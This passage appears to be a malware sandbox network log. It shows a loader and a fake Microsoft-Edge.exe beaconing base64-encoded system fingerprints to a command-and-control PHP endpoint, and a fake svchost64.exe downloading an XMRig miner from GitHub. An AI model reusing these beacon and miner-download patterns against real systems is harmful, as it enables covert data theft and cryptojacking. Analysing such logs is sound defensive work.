2024-09-27 15:42:50 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:50 UTC	628	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LJushxEXoyRiaOT%2ByPdn7kjyDh78jFXOlqXnrjJr2OLhJ1bud2jpoqI%2FxcX1djP98ikIyPH%2BWMkWC%2BGnFFDPqNAw0jXt1%2BanSGyDc5R0q5mPUn7L5UnGKYZFN3yW4jX%2BXFDPGwAGuM2D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b1b9f4a558a-EWR
2024-09-27 15:42:50 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49836	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:52 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:52 UTC	628	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5t%2FQLr1ifnyHoKvcfpNF7m8GeuNWrIH%2By9bsGR9FOQquzeRHEqCa%2BXbUZ1XMALg0vu36hzHQdjTOybDePOcqC2p7Rbi6JpJka2%2FW30eKYbyInLgOqhNof5SqfIlaAjtsmFhHVI%2B%2FgCba"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b280f4a5e80-EWR
2024-09-27 15:42:52 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49838	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:53 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:53 UTC	628	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OISfcW%2BxfPGxO0pK7LckH5Tp3%2Bw4Eb%2Bs%2Fcth36PsqtS0xeyufX4GdlqYanzyIErYpxlKkVTsjQhDzzcKfQcpd%2BE714gbo%2B31kKkruxxorlF6pPEjwy1UqDh83Kjuu00o3G2EwDoW8sFL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b2ffaf7c3f8-EWR
2024-09-27 15:42:53 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49840	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:54 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:54 UTC	622	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BsKL190etyJ3WuMguAb%2Fnr3NqCULJceT6hMlRaMu0LBzQ14iiJCIvuNY80BSznFnkSqS6o8s%2Bkg5GM0zQeLjffpOKS5UwQMbCmd0TjiLZcQy5X1aZwNZ8ikndm6j5zL922mLdhzMqOTk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b383d644361-EWR
2024-09-27 15:42:54 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49843	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:55 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:56 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d4EBqw6tLF7hSQKYgVPSfPhyb%2BxlVilm9dvHzzKxya80oBWuThHHouz9CWlFlcVzGiEr3GpdCBUNl9shZ9D%2BuOYmpZIFUa0t%2F3BbgfIeN7F0AcP7B%2FdaZK%2BnHK9vvN6hLPpQk1YCcRrQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b3e48c27cf9-EWR
2024-09-27 15:42:56 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49842	140.82.121.3	443	7732	C:\Users\user\AppData\Local\Temp\svchost64.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:55 UTC	132	OUT	GET /UnamSanctam/SilentXMRMiner/raw/master/SilentXMRMiner/Resources/xmrig.zip HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-09-27 15:42:55 UTC	583	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 27 Sep 2024 15:42:49 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/UnamSanctam/SilentXMRMiner/master/SilentXMRMiner/Resources/xmrig.zip Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-09-27 15:42:55 UTC	3382	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49844	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:55 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:56 UTC	630	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=km%2B8M3P5qbr37SeLx%2F8pNfGWoFmyRqVhVZGVXmtGe7es7Dia93HWGF4Xa3Llt%2BRnFrw3iaxmP7HrifF%2F9dGbHDCtokWusIVFNQBQ3Nirs4cp0%2BTch0zn6xMxRPZxsuUOfzl%2B%2F5AmZfbx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b3efbdc43cd-EWR
2024-09-27 15:42:56 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49846	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:56 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:57 UTC	620	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XW5eF9bUSiGlj50hhCMu7PGjZfPBrsHYrbpperM4RLLfz2fQAmcdBdr9x5s9JsZJDhP4kvgsAIBlNjmvD%2BM9ytVpCMJy9NymFcU7SFR5PZhibmOdfjke2wJ5DPy2sEilH803S%2BeCQEmC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b458e9841cf-EWR
2024-09-27 15:42:57 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49847	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:57 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:57 UTC	630	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mUSuSHk1VXcHRkRDyuLQ7B0UUK%2BNSSUBx4mOPib%2BHx3RK1gEnIvjMznj6GklIW%2F%2B6NLnzfPowJ8OSvD9GstNQ1rX0qzF81Avi2SvmN0d3Tm4WTWXPCISX%2FhwD%2Bcd4EpKSVu%2FSLDCpVn6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b49cfcb7d00-EWR
2024-09-27 15:42:57 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49849	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:58 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:58 UTC	628	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SR1PQ%2FIPeQoHGmdeSv%2FTe1CJ59mRSyVD19zHAlep8KLNCBdBKO2xjrtuaVS04M3xYuE8DlMU1pa%2Fj7SIHEKAbfQSmd6blYseA9TTbhg%2B0FkBN%2BPqFuuW2%2Fm7pI0jl45PakpgpGcAcK7A"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b4e5aa5c448-EWR
2024-09-27 15:42:58 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49851	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:59 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:59 UTC	622	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HH3q6cd%2FeA3oiFDBV6seMD7jucHoBLed7TqvCb98UWyX9d2yXdwwa%2BceJjYnkUfiQ81iDD7WS3UhikHkYdjsNOvO5clmU88rPBA6ZooW4QNeT85NbCY1dDlcy7VDsM%2FHIevppq7T6NGC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b536a2e1a0f-EWR
2024-09-27 15:42:59 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49852	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:59 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:59 UTC	620	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ofPs2OoPCSuTh71LMXzCGE6cHAB3haCmToJgLjeLfzMd5f64EC7%2BWL3D68m91gyM30Ae5DWVXfiMS8p9tbKyrBKmE9pex2H7yJjHE4pbHsBYuYBtKhmib2pl91stUvKKpg7w%2BBO8GIBP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b546b8f8c65-EWR
2024-09-27 15:42:59 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49854	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:43:00 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
